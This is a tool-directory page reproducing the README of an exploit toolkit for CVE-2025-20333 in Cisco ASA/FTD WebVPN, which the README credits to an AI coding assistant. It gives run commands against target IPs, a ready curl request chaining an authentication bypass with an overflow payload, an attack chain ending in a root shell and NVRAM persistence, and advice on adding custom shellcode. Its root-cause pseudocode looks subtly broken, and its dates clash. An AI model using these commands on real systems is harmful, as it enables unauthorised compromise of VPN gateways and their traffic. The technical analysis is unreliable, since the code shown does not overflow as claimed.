Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-20333 — Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide. | Kitploit
Tools/GitHubGitHub/cobbbex/cve-2025-20333
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed TeamingBinary Exploitation
GitHubcobbbex/cve-2025-20333

cve-2025-20333

Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide.

View Repository
1320 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-20333 - Complete Research & Exploitation Toolkit

Overview

This directory contains comprehensive research, analysis, and proof-of-concept code for CVE-2025-20333, a critical stack buffer overflow vulnerability in Cisco ASA/FTD WebVPN servers.

Status: ⚠️ Actively exploited in the wild (ArcaneDoor campaign)
CVSS Score: 9.8 Critical
Authenticated: No (bypassed via CVE-2025-20362)
Impact: Remote Code Execution as root


Contents

📚 Documentation

CVE-2025-20333-RESEARCH-NOTES.md ()

20 KB

Complete reverse engineering research

  • Vulnerability context & web intelligence
  • Binary analysis (ASA 9.12.4.x lina process)
  • Request-ingestion layer audit
  • Lua API bindings analysis
  • 🎯 Overflow discovery (body_lexer.re2c, FUN_0302e690)
  • Attack chain breakdown
  • Root cause analysis with code patterns
  • Tool & address reference table

Key Finding:

root@kitploit:~
Fixed 16-byte buffer (local_58[16]) in body_lexer.re2c
URL-decoding loop has NO BOUNDS CHECK
Writing to local_58[iVar11] without checking iVar11 < 16
After 8 hex pairs: overflow → stack corruption → RCE

EXPLOITATION-GUIDE.md (12 KB)

Practical exploitation manual

  • Vulnerability mechanics explained
  • Complete attack chain (CVE-2025-20362 bypass + overflow)
  • Step-by-step exploitation walkthrough
  • Payload crafting techniques
  • Network-based detection methods
  • Host-based detection & log analysis
  • Mitigation strategies
  • Patched versions & upgrade path
  • Legal & ethical considerations

🔧 Proof of Concept Exploits

cve-2025-20333-poc.py (15 KB)

Full-featured Python exploit

Features:

  • Automatic payload generation
  • CVE-2025-20362 path traversal integration
  • ROP gadget chain construction
  • SSL/TLS support
  • Configurable timeout
  • Detailed progress reporting

Usage:

root@kitploit:~
# Show vulnerability details
python3 cve-2025-20333-poc.py --details

# Exploit target
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Custom settings
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

cve-2025-20333-poc.sh (8.5 KB)

Lightweight bash exploit

Features:

  • No Python dependency
  • Uses curl or netcat
  • Minimal resource footprint
  • Educational comments
  • Clear status output

Usage:

root@kitploit:~
# Show details
./cve-2025-20333-poc.sh --details

# Exploit
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manual with curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Vulnerability Summary

Quick Facts

PropertyValue
CVE IDCVE-2025-20333
TypeStack Buffer Overflow (CWE-120)
Componentbody_lexer.re2c (FUN_0302e690)
Affected VersionsASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.19.8 (Critical)
AuthenticationNot required (via CVE-2025-20362)
User InteractionNone
ImpactRCE as root, full system compromise
StatusActively exploited (May 2025+)
Responsible DisclosureCisco patched; advisory published

Root Cause

root@kitploit:~
// body_lexer.re2c - URL-decoding loop
byte local_58[16];  // ← Fixed 16-byte buffer

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← NO BOUNDS CHECK!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

Overflow Trigger: 9+ consecutive %XX sequences in POST body

Attack Chain

root@kitploit:~
1. Attacker (NO AUTH required)
   ↓
2. HTTP POST to /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: Path traversal bypasses auth check
   └─ Reaches files_retr.lua endpoint (auth_flag = 0)
   ↓
3. POST body: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ URL-encoded pairs)
   ↓
4. body_lexer.re2c processes POST body
   ├─ Accumulates hex pairs into local_58[16]
   └─ After 8 pairs: OVERFLOW!
   ↓
5. Stack corruption
   ├─ Overwrites local_48, local_40
   ├─ Overwrites saved RBP
   └─ Overwrites saved RIP (return address)
   ↓
6. Control flow hijack
   ├─ RIP points to ROP gadgets
   ├─ ROP chain sets up execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE as root (lina process runs as root)
   ├─ Full VPN server compromise
   ├─ Access to all VPN traffic
   └─ Persistence via NVRAM modification

Research Process

Phase 1: Binary Analysis ✅

  • Opened lina binary in Ghidra
  • Mapped WebVPN request architecture (HTTP parser, URL router, 13 endpoint hooks)
  • Audited request-ingestion layer (all safe via clString/exact-size allocs)
  • Examined Lua API bindings (all safe)

Phase 2: Web Intelligence ✅

  • Searched for CVE-2025-20333 technical details
  • Found Rapid7, Zscaler, Horizon3, Tenable analysis
  • Confirmed attack chain uses /+CSCOU+/../+CSCOE+/files/file_list.json
  • Identified root cause: heap-based (web sources) / stack-based (this binary) overflow in Lua endpoint

Phase 3: Targeted Reversing ✅

  • Decompiled body_lexer.re2c (FUN_0302e690)
  • FOUND: Fixed 16-byte buffer local_58[16] with no bounds checking
  • Confirmed overflow path: URL-decoding loop → unbounded write
  • Verified reachability: files_retr.lua → body_lexer → stack overflow

Phase 4: Exploit Development ✅

  • Created Python PoC with ROP chain support
  • Created bash PoC for minimal environments
  • Documented payload structure and crafting techniques
  • Included detection & mitigation guidance

Usage Instructions

For Authorized Penetration Testing

  1. Verify Authorization

    • Obtain written permission to test
    • Confirm target system details (IP, port, version)
    • Document scope and timeline
  2. Run Exploit

    root@kitploit:~
    # Quick check: Does target respond to exploit attempt?
    python3 cve-2025-20333-poc.py <target_ip>
    
    # Or bash version:
    ./cve-2025-20333-poc.sh <target_ip>
    
  3. Verify Exploitation

    • Check for shell access / reverse shell connection
    • Examine system logs for crashes or anomalies
    • Scan for modified files (NVRAM, persistent backdoor)
  4. Document Findings

    • Record target version, patch level
    • Document exploitation success/failure
    • Note any defensive measures encountered
    • Report to client with remediation recommendations

For Security Research

  1. Read Research Notes

    • Study CVE-2025-20333-RESEARCH-NOTES.md
    • Understand binary architecture and overflow mechanism
  2. Study PoCs

    • Review Python PoC for ROP gadget construction
    • Review bash PoC for minimal exploit
    • Understand payload encoding
  3. Adapt & Extend

    • Add custom shellcode
    • Implement different exploitation techniques
    • Test on patched vs. vulnerable versions

Important Warnings

⚠️ LEGAL NOTICE

This toolkit is provided for authorized security testing only.

  • DO NOT use against systems without explicit written permission
  • DO NOT use for malicious purposes (data theft, service disruption, ransomware)
  • Unauthorized access violates the Computer Fraud and Abuse Act (USA) and similar laws worldwide
  • Penalties include criminal prosecution, fines, and imprisonment

✅ Authorized Use:

  • Penetration tests with written approval
  • Proof-of-concept during vulnerability research
  • Internal security testing
  • CTF competitions
  • Academic research

❌ Prohibited Use:

  • Attacking systems without permission
  • Ransomware deployment
  • Data theft or extortion
  • Service disruption
  • Lateral movement in compromised networks

Files Manifest

root@kitploit:~
cve-2025-20333/
├── README.md                              (this file)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 KB, comprehensive research)
├── EXPLOITATION-GUIDE.md                 (12 KB, practical guide)
├── cve-2025-20333-poc.py                 (15 KB, Python PoC)
└── cve-2025-20333-poc.sh                 (8.5 KB, bash PoC)

Total Documentation: ~65 KB
Research Depth: 50+ Ghidra functions audited
Verified Findings: Buffer overflow in body_lexer.re2c confirmed


Quick Reference

Vulnerability Quick Test

root@kitploit:~
# Test if target is vulnerable to exploitation
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# If target responds (200, 500, crash), it may be vulnerable
# If target blocks/redirects, it may be patched

Version Check

root@kitploit:~
# Vulnerable versions:
# - Cisco ASA 9.16 through 9.23
# - Cisco FTD 7.0 through 7.7

# Use SSH/console to check ASA version:
show version

# Patched versions:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (patched)

Mitigation Checklist

  • Verify ASA/FTD version
  • Check for available patches
  • Upgrade to patched version if vulnerable
  • Restrict WebVPN access by IP address
  • Enable logging and monitoring
  • Watch for CVE-2025-20362 path traversal attempts
  • Monitor for DoS patterns (lina crashes)
  • Enable firewall protection on WebVPN port

References

  • Cisco Security Advisory: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
  • Rapid7 Analysis: https://www.rapid7.com/blog/post/etr-cve-2025-20333-cve-2025-20362-cve-2025-20363-multiple-critical-vulnerabilities-affecting-cisco-products/
  • Zscaler ThreatLabz: https://www.zscaler.com/blogs/security-research/cisco-firewall-and-vpn-zero-day-attacks-cve-2025-20333-and-cve-2025-20362
  • Tenable FAQ: https://www.tenable.com/blog/cve-2025-20333-cve-2025-20362-faq-cisco-asa-ftd-zero-days-uat4356

Disclaimer

This toolkit is provided AS-IS for educational and authorized testing purposes only.

  • Use at your own risk
  • No warranty or liability for misuse
  • Unauthorized access is illegal
  • Report findings responsibly to Cisco and affected organizations
  • Follow your country's cybersecurity laws


Attribution

This project was developed with assistance from Claude Code, Anthropic's AI-powered coding assistant.


Created: 2026-08-23
Research Period: 2026-08-22 to 2026-08-23
Status: Complete & Documented
Classification: Educational / Authorized Testing Only

Download Tool